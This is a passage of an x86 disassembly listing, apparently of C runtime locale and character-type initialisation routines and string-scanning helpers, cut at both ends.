		mov	edx, [ebp+arg_0]
		add	edx, 2Dh
		push	edx
		push	57h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Eh
		push	edx
		push	52h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Fh
		push	edx
		push	53h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_42F960
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]


loc_42B8B9:				; CODE XREF: sub_42B6B0+21j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B6B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B8C0	proc near		; CODE XREF: sub_42B6B0+C8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_42B8C4:				; CODE XREF: sub_42B8C0:loc_42B937j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42B939
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_42B8FD
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_42B8FD
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_42B937
; ---------------------------------------------------------------------------


loc_42B8FD:				; CODE XREF: sub_42B8C0+17j
					; sub_42B8C0+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_42B92E
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_42B90E:				; CODE XREF: sub_42B8C0+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_42B90E
		jmp	short loc_42B937
; ---------------------------------------------------------------------------


loc_42B92E:				; CODE XREF: sub_42B8C0+46j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_42B937:				; CODE XREF: sub_42B8C0+3Bj
					; sub_42B8C0+6Cj
		jmp	short loc_42B8C4
; ---------------------------------------------------------------------------


loc_42B939:				; CODE XREF: sub_42B8C0+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_42B8C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B940	proc near		; CODE XREF: sub_42B580+4Dp
					; sub_42B580+A7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_42B94E
		jmp	loc_42B9D1
; ---------------------------------------------------------------------------


loc_42B94E:				; CODE XREF: sub_42B940+7j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], offset dword_4DB438
		jz	short loc_42B9D1
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_415860
		add	esp, 8


loc_42B9D1:				; CODE XREF: sub_42B940+9j
					; sub_42B940+18j
		pop	ebp
		retn
sub_42B940	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B9E0	proc near		; DATA XREF: ___:004443A0o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 0
		cmp	dword_4DB1B8, 0
		jz	loc_42BD31
		cmp	dword_4DB1C8, 0
		jnz	short loc_42BA30
		push	offset dword_4DB1C8
		push	1004h
		xor	eax, eax
		mov	ax, word_4DB3F0
		push	eax
		push	0
		call	sub_42F960
		add	esp, 10h
		test	eax, eax
		jz	short loc_42BA30
		jmp	loc_42BCF2
; ---------------------------------------------------------------------------


loc_42BA30:				; CODE XREF: sub_42B9E0+28j
					; sub_42B9E0+49j
		push	5Ch
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_30], eax
		push	5Eh
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_1C], eax
		push	60h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	101h
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_2C], eax
		push	62h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_28], eax
		cmp	[ebp+var_30], 0
		jz	short loc_42BAAC
		cmp	[ebp+var_1C], 0
		jz	short loc_42BAAC
		cmp	[ebp+var_2C], 0
		jz	short loc_42BAAC
		cmp	[ebp+var_28], 0
		jnz	short loc_42BAB1


loc_42BAAC:				; CODE XREF: sub_42B9E0+B8j
					; sub_42B9E0+BEj ...
		jmp	loc_42BCF2
; ---------------------------------------------------------------------------


loc_42BAB1:				; CODE XREF: sub_42B9E0+CAj
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_20], 0
		jmp	short loc_42BAC9
; ---------------------------------------------------------------------------


loc_42BAC0:				; CODE XREF: sub_42B9E0+103j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_42BAC9:				; CODE XREF: sub_42B9E0+DEj
		cmp	[ebp+var_20], 100h
		jge	short loc_42BAE5
		mov	eax, [ebp+var_18]
		mov	cl, byte ptr [ebp+var_20]
		mov	[eax], cl
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx
		jmp	short loc_42BAC0
; ---------------------------------------------------------------------------


loc_42BAE5:				; CODE XREF: sub_42B9E0+F0j
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, dword_4DB1C8
		push	ecx
		nop
		call	near ptr 28B0000h
		test	eax, eax
		jnz	short loc_42BAFF
		jmp	loc_42BCF2
; ---------------------------------------------------------------------------


loc_42BAFF:				; CODE XREF: sub_42B9E0+118j
		cmp	[ebp+var_14], 2
		jbe	short loc_42BB0A
		jmp	loc_42BCF2
; ---------------------------------------------------------------------------


loc_42BB0A:				; CODE XREF: sub_42B9E0+123j
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	dword_443B70, edx
		cmp	dword_443B70, 1
		jle	short loc_42BB79
		lea	eax, [ebp+var_E]
		mov	[ebp+var_18], eax
		jmp	short loc_42BB33
; ---------------------------------------------------------------------------


loc_42BB2A:				; CODE XREF: sub_42B9E0:loc_42BB77j
		mov	ecx, [ebp+var_18]
		add	ecx, 2
		mov	[ebp+var_18], ecx


loc_42BB33:				; CODE XREF: sub_42B9E0+148j
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_42BB79
		mov	ecx, [ebp+var_18]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_42BB79
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx
		jmp	short loc_42BB5F
; ---------------------------------------------------------------------------


loc_42BB56:				; CODE XREF: sub_42B9E0+195j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_42BB5F:				; CODE XREF: sub_42B9E0+174j
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp+var_20], ecx
		jg	short loc_42BB77
		mov	edx, [ebp+var_2C]
		add	edx, [ebp+var_20]
		mov	byte ptr [edx],	0
		jmp	short loc_42BB56
; ---------------------------------------------------------------------------


loc_42BB77:				; CODE XREF: sub_42B9E0+18Aj
		jmp	short loc_42BB2A
; ---------------------------------------------------------------------------


loc_42BB79:				; CODE XREF: sub_42B9E0+140j
					; sub_42B9E0+15Cj ...
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_30]
		add	eax, 2
		push	eax
		push	100h
		mov	ecx, [ebp+var_2C]
		push	ecx
		push	1
		call	sub_427D80
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42BBA2
		jmp	loc_42BCF2
; ---------------------------------------------------------------------------


loc_42BBA2:				; CODE XREF: sub_42B9E0+1BBj
		mov	edx, [ebp+var_30]
		mov	word ptr [edx],	0
		mov	eax, [ebp+var_28]
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], 0
		jmp	short loc_42BBC2
; ---------------------------------------------------------------------------


loc_42BBB9:				; CODE XREF: sub_42B9E0+1FEj
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx


loc_42BBC2:				; CODE XREF: sub_42B9E0+1D7j
		cmp	[ebp+var_20], 100h
		jge	short loc_42BBE0
		mov	edx, [ebp+var_24]
		mov	ax, word ptr [ebp+var_20]
		mov	[edx], ax
		mov	ecx, [ebp+var_24]
		add	ecx, 2
		mov	[ebp+var_24], ecx
		jmp	short loc_42BBB9
; ---------------------------------------------------------------------------


loc_42BBE0:				; CODE XREF: sub_42B9E0+1E9j
		push	0
		push	0
		mov	edx, [ebp+var_1C]
		add	edx, 2
		push	edx
		push	100h
		mov	eax, [ebp+var_28]
		push	eax
		push	1
		call	sub_42FC00
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42BC07
		jmp	loc_42BCF2
; ---------------------------------------------------------------------------


loc_42BC07:				; CODE XREF: sub_42B9E0+220j
		mov	ecx, [ebp+var_1C]
		mov	word ptr [ecx],	0
		cmp	dword_443B70, 1
		jle	short loc_42BC73
		lea	edx, [ebp+var_E]
		mov	[ebp+var_18], edx
		jmp	short loc_42BC29
; ---------------------------------------------------------------------------


loc_42BC20:				; CODE XREF: sub_42B9E0:loc_42BC71j
		mov	eax, [ebp+var_18]
		add	eax, 2
		mov	[ebp+var_18], eax


loc_42BC29:				; CODE XREF: sub_42B9E0+23Ej
		mov	ecx, [ebp+var_18]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_42BC73
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax+1]
		test	ecx, ecx
		jz	short loc_42BC73
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_20], eax
		jmp	short loc_42BC55
; ---------------------------------------------------------------------------


loc_42BC4C:				; CODE XREF: sub_42B9E0+28Fj
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx


loc_42BC55:				; CODE XREF: sub_42B9E0+26Aj
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	[ebp+var_20], eax
		jg	short loc_42BC71
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_30]
		mov	word ptr [edx+ecx*2+2],	8000h
		jmp	short loc_42BC4C
; ---------------------------------------------------------------------------


loc_42BC71:				; CODE XREF: sub_42B9E0+280j
		jmp	short loc_42BC20
; ---------------------------------------------------------------------------


loc_42BC73:				; CODE XREF: sub_42B9E0+236j
					; sub_42B9E0+252j ...
		mov	eax, [ebp+var_30]
		add	eax, 2
		mov	off_443C7C, eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 2
		mov	off_443C80, ecx
		cmp	dword_4DB3DC, 0
		jz	short loc_42BCA4
		push	2
		mov	edx, dword_4DB3DC
		push	edx
		call	sub_415860
		add	esp, 8


loc_42BCA4:				; CODE XREF: sub_42B9E0+2B1j
		mov	eax, [ebp+var_30]
		mov	dword_4DB3DC, eax
		cmp	dword_4DB3E0, 0
		jz	short loc_42BCC6
		push	2
		mov	ecx, dword_4DB3E0
		push	ecx
		call	sub_415860
		add	esp, 8


loc_42BCC6:				; CODE XREF: sub_42B9E0+2D3j
		mov	edx, [ebp+var_1C]
		mov	dword_4DB3E0, edx
		push	2
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_415860
		add	esp, 8
		xor	eax, eax
		jmp	loc_42BD7C
; ---------------------------------------------------------------------------


loc_42BCF2:				; CODE XREF: sub_42B9E0+4Bj
					; sub_42B9E0:loc_42BAACj ...
		push	2
		mov	edx, [ebp+var_30]
		push	edx
		call	sub_415860
		add	esp, 8
		push	2
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, [ebp+var_2C]
		push	ecx
		call	sub_415860
		add	esp, 8
		push	2
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_415860
		add	esp, 8
		mov	eax, 1
		jmp	short loc_42BD7C
; ---------------------------------------------------------------------------


loc_42BD31:				; CODE XREF: sub_42B9E0+1Bj
		mov	off_443C7C, offset word_443C86
		mov	off_443C80, offset word_443C86
		push	2
		mov	eax, dword_4DB3DC
		push	eax
		call	sub_415860
		add	esp, 8
		push	2
		mov	ecx, dword_4DB3E0
		push	ecx
		call	sub_415860
		add	esp, 8
		mov	dword_4DB3DC, 0
		mov	dword_4DB3E0, 0
		xor	eax, eax


loc_42BD7C:				; CODE XREF: sub_42B9E0+30Dj
					; sub_42B9E0+34Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42B9E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BD80	proc near		; DATA XREF: ___:00444394o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_42BD80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BD90	proc near		; CODE XREF: ___:00424B9Ep
					; sub_425250+7Bp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]


loc_42BDA4:				; CODE XREF: sub_42BD90+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_42BDB1
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_42BDA4
; ---------------------------------------------------------------------------


loc_42BDB1:				; CODE XREF: sub_42BD90+18j
		mov	esi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		nop


loc_42BDB8:				; CODE XREF: sub_42BD90+34j
		inc	ecx
		mov	al, [esi]
		or	al, al
		jz	short loc_42BDC6
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_42BDB8


loc_42BDC6:				; CODE XREF: sub_42BD90+2Dj
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
sub_42BD90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BDD0	proc near		; CODE XREF: ___:00424ABDp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]


loc_42BDE4:				; CODE XREF: sub_42BDD0+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_42BDF1
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_42BDE4
; ---------------------------------------------------------------------------


loc_42BDF1:				; CODE XREF: sub_42BDD0+18j
		mov	esi, [ebp+arg_0]


loc_42BDF4:				; CODE XREF: sub_42BDD0+2Fj
		mov	al, [esi]
		or	al, al
		jz	short loc_42BE04
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_42BDF4
		lea	eax, [esi-1]


loc_42BE04:				; CODE XREF: sub_42BDD0+28j
		add	esp, 20h
		pop	esi
		leave
		retn
sub_42BDD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BE10	proc near		; CODE XREF: sub_425060+D3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_4DB428, 0
		jnz	short loc_42BE42
		call	sub_42C8E0
		test	eax, eax
		jz	short loc_42BE32
		mov	eax, dword_4DD314
		mov	[ebp+var_8], eax
		jmp	short loc_42BE39
; ---------------------------------------------------------------------------


loc_42BE32:				; CODE XREF: sub_42BE10+16j
		mov	[ebp+var_8], offset sub_42C930


loc_42BE39:				; CODE XREF: sub_42BE10+20j
		mov	ecx, [ebp+var_8]
		mov	dword_4DB428, ecx


loc_42BE42:				; CODE XREF: sub_42BE10+Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_42BE52
		call	sub_42C730
		jmp	loc_42BF1E
; ---------------------------------------------------------------------------


loc_42BE52:				; CODE XREF: sub_42BE10+36j
		mov	edx, [ebp+arg_0]
		mov	dword_4DB418, edx
		cmp	dword_4DB418, 0
		jz	short loc_42BE84
		mov	eax, dword_4DB418
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42BE84
		push	offset dword_4DB418
		push	40h
		push	offset off_444BA0
		call	sub_42C010
		add	esp, 0Ch


loc_42BE84:				; CODE XREF: sub_42BE10+52j
					; sub_42BE10+5Ej
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		mov	dword_4DB41C, edx
		cmp	dword_4DB41C, 0
		jz	short loc_42BEB9
		mov	eax, dword_4DB41C
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42BEB9
		push	offset dword_4DB41C
		push	16h
		push	offset off_444AE8
		call	sub_42C010
		add	esp, 0Ch


loc_42BEB9:				; CODE XREF: sub_42BE10+87j
					; sub_42BE10+93j
		mov	dword_4DB420, 0
		cmp	dword_4DB418, 0
		jz	short loc_42BEFD
		mov	edx, dword_4DB418
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42BEFD
		cmp	dword_4DB41C, 0
		jz	short loc_42BEF6
		mov	ecx, dword_4DB41C
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42BEF6
		call	sub_42C0A0
		jmp	short loc_42BEFB
; ---------------------------------------------------------------------------


loc_42BEF6:				; CODE XREF: sub_42BE10+D0j
					; sub_42BE10+DDj
		call	sub_42C490


loc_42BEFB:				; CODE XREF: sub_42BE10+E4j
		jmp	short loc_42BF1E
; ---------------------------------------------------------------------------


loc_42BEFD:				; CODE XREF: sub_42BE10+BAj
					; sub_42BE10+C7j
		cmp	dword_4DB41C, 0
		jz	short loc_42BF19
		mov	eax, dword_4DB41C
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42BF19
		call	sub_42C630
		jmp	short loc_42BF1E
; ---------------------------------------------------------------------------


loc_42BF19:				; CODE XREF: sub_42BE10+F4j
					; sub_42BE10+100j
		call	sub_42C730


loc_42BF1E:				; CODE XREF: sub_42BE10+3Dj
					; sub_42BE10:loc_42BEFBj ...
		cmp	dword_4DB420, 0
		jnz	short loc_42BF2E
		xor	eax, eax
		jmp	loc_42C00C
; ---------------------------------------------------------------------------


loc_42BF2E:				; CODE XREF: sub_42BE10+115j
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		call	sub_42C760
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42BF5C
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		push	eax
		nop
		call	near ptr 26300A5h
		test	eax, eax
		jnz	short loc_42BF63


loc_42BF5C:				; CODE XREF: sub_42BE10+137j
		xor	eax, eax
		jmp	loc_42C00C
; ---------------------------------------------------------------------------


loc_42BF63:				; CODE XREF: sub_42BE10+14Aj
		push	1
		mov	ecx, dword_4DB408
		push	ecx
		call	near ptr 2640000h
		nop
		test	eax, eax
		jnz	short loc_42BF7D
		xor	eax, eax
		jmp	loc_42C00C
; ---------------------------------------------------------------------------


loc_42BF7D:				; CODE XREF: sub_42BE10+164j
		cmp	[ebp+arg_4], 0
		jz	short loc_42BFA8
		mov	edx, [ebp+arg_4]
		mov	ax, word ptr dword_4DB408
		mov	[edx], ax
		mov	ecx, [ebp+arg_4]
		mov	dx, word ptr dword_4DB424
		mov	[ecx+2], dx
		mov	eax, [ebp+arg_4]
		mov	cx, word ptr [ebp+var_4]
		mov	[eax+4], cx


loc_42BFA8:				; CODE XREF: sub_42BE10+171j
		cmp	[ebp+arg_8], 0
		jz	short loc_42C007
		push	40h
		mov	edx, [ebp+arg_8]
		push	edx
		push	1001h
		mov	eax, dword_4DB408
		push	eax
		call	dword_4DB428
		test	eax, eax
		jnz	short loc_42BFCD
		xor	eax, eax
		jmp	short loc_42C00C
; ---------------------------------------------------------------------------


loc_42BFCD:				; CODE XREF: sub_42BE10+1B7j
		push	40h
		mov	ecx, [ebp+arg_8]
		add	ecx, 40h
		push	ecx
		push	1002h
		mov	edx, dword_4DB424
		push	edx
		call	dword_4DB428
		test	eax, eax
		jnz	short loc_42BFF0
		xor	eax, eax
		jmp	short loc_42C00C
; ---------------------------------------------------------------------------


loc_42BFF0:				; CODE XREF: sub_42BE10+1DAj
		push	0Ah
		mov	eax, [ebp+arg_8]
		add	eax, 80h
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_426D90
		add	esp, 0Ch


loc_42C007:				; CODE XREF: sub_42BE10+19Cj
		mov	eax, 1


loc_42C00C:				; CODE XREF: sub_42BE10+119j
					; sub_42BE10+14Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42BE10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C010	proc near		; CODE XREF: sub_42BE10+6Cp
					; sub_42BE10+A1p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 1
		mov	[ebp+var_C], 0


loc_42C024:				; CODE XREF: sub_42C010:loc_42C08Cj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jg	short loc_42C08E
		cmp	[ebp+var_8], 0
		jz	short loc_42C08E
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*8]
		push	eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		push	edx
		call	sub_42FE70
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_42C072
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*8+4]
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		jmp	short loc_42C08C
; ---------------------------------------------------------------------------


loc_42C072:				; CODE XREF: sub_42C010+4Fj
		cmp	[ebp+var_8], 0
		jge	short loc_42C083
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_42C08C
; ---------------------------------------------------------------------------


loc_42C083:				; CODE XREF: sub_42C010+66j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_42C08C:				; CODE XREF: sub_42C010+60j
					; sub_42C010+71j
		jmp	short loc_42C024
; ---------------------------------------------------------------------------


loc_42C08E:				; CODE XREF: sub_42C010+1Aj
					; sub_42C010+20j
		mov	esp, ebp
		pop	ebp
		retn
sub_42C010	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C0A0	proc near		; CODE XREF: sub_42BE10+DFp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB418
		push	eax
		call	sub_414BE0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4DB414, ecx
		mov	edx, dword_4DB41C
		push	edx
		call	sub_414BE0
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4DB40C, ecx
		mov	dword_4DB408, 0
		cmp	dword_4DB414, 0
		jz	short loc_42C0F9
		mov	[ebp+var_4], 2
		jmp	short loc_42C10B
; ---------------------------------------------------------------------------


loc_42C0F9:				; CODE XREF: sub_42C0A0+4Ej
		mov	edx, dword_4DB418
		push	edx
		call	sub_42CB40
		add	esp, 4
		mov	[ebp+var_4], eax


loc_42C10B:				; CODE XREF: sub_42C0A0+57j
		mov	eax, [ebp+var_4]
		mov	dword_4DB410, eax
		push	1
		push	offset sub_42C160
		nop
		call	near ptr 2630000h
		mov	ecx, dword_4DB420
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_42C14C
		mov	edx, dword_4DB420
		and	edx, 200h
		test	edx, edx
		jz	short loc_42C14C
		mov	eax, dword_4DB420
		and	eax, 7
		test	eax, eax
		jnz	short loc_42C156


loc_42C14C:				; CODE XREF: sub_42C0A0+8Ej
					; sub_42C0A0+9Ej
		mov	dword_4DB420, 0


loc_42C156:				; CODE XREF: sub_42C0A0+AAj
		mov	esp, ebp
		pop	ebp
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C160	proc near		; DATA XREF: sub_42C0A0+75o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42CAC0
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DB40C
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4DB428
		test	eax, eax
		jnz	short loc_42C1B4
		mov	dword_4DB420, 0
		mov	eax, 1
		jmp	loc_42C47E
; ---------------------------------------------------------------------------


loc_42C1B4:				; CODE XREF: sub_42C160+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DB41C
		push	edx
		call	sub_42FE70
		add	esp, 8
		test	eax, eax
		jnz	loc_42C2EF
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4DB414
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	dword_4DB428
		test	eax, eax
		jnz	short loc_42C20E
		mov	dword_4DB420, 0
		mov	eax, 1
		jmp	loc_42C47E
; ---------------------------------------------------------------------------


loc_42C20E:				; CODE XREF: sub_42C160+98j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4DB418
		push	ecx
		call	sub_42FE70
		add	esp, 8
		test	eax, eax
		jnz	short loc_42C250
		mov	edx, dword_4DB420
		or	edx, 304h
		mov	dword_4DB420, edx
		mov	eax, [ebp+var_7C]
		mov	dword_4DB424, eax
		mov	ecx, dword_4DB424
		mov	dword_4DB408, ecx
		jmp	loc_42C2EF
; ---------------------------------------------------------------------------


loc_42C250:				; CODE XREF: sub_42C160+C3j
		mov	edx, dword_4DB420
		and	edx, 2
		test	edx, edx
		jnz	loc_42C2EF
		cmp	dword_4DB410, 0
		jz	short loc_42C2BD
		mov	eax, dword_4DB410
		push	eax
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4DB418
		push	edx
		call	sub_42FF40
		add	esp, 0Ch
		test	eax, eax
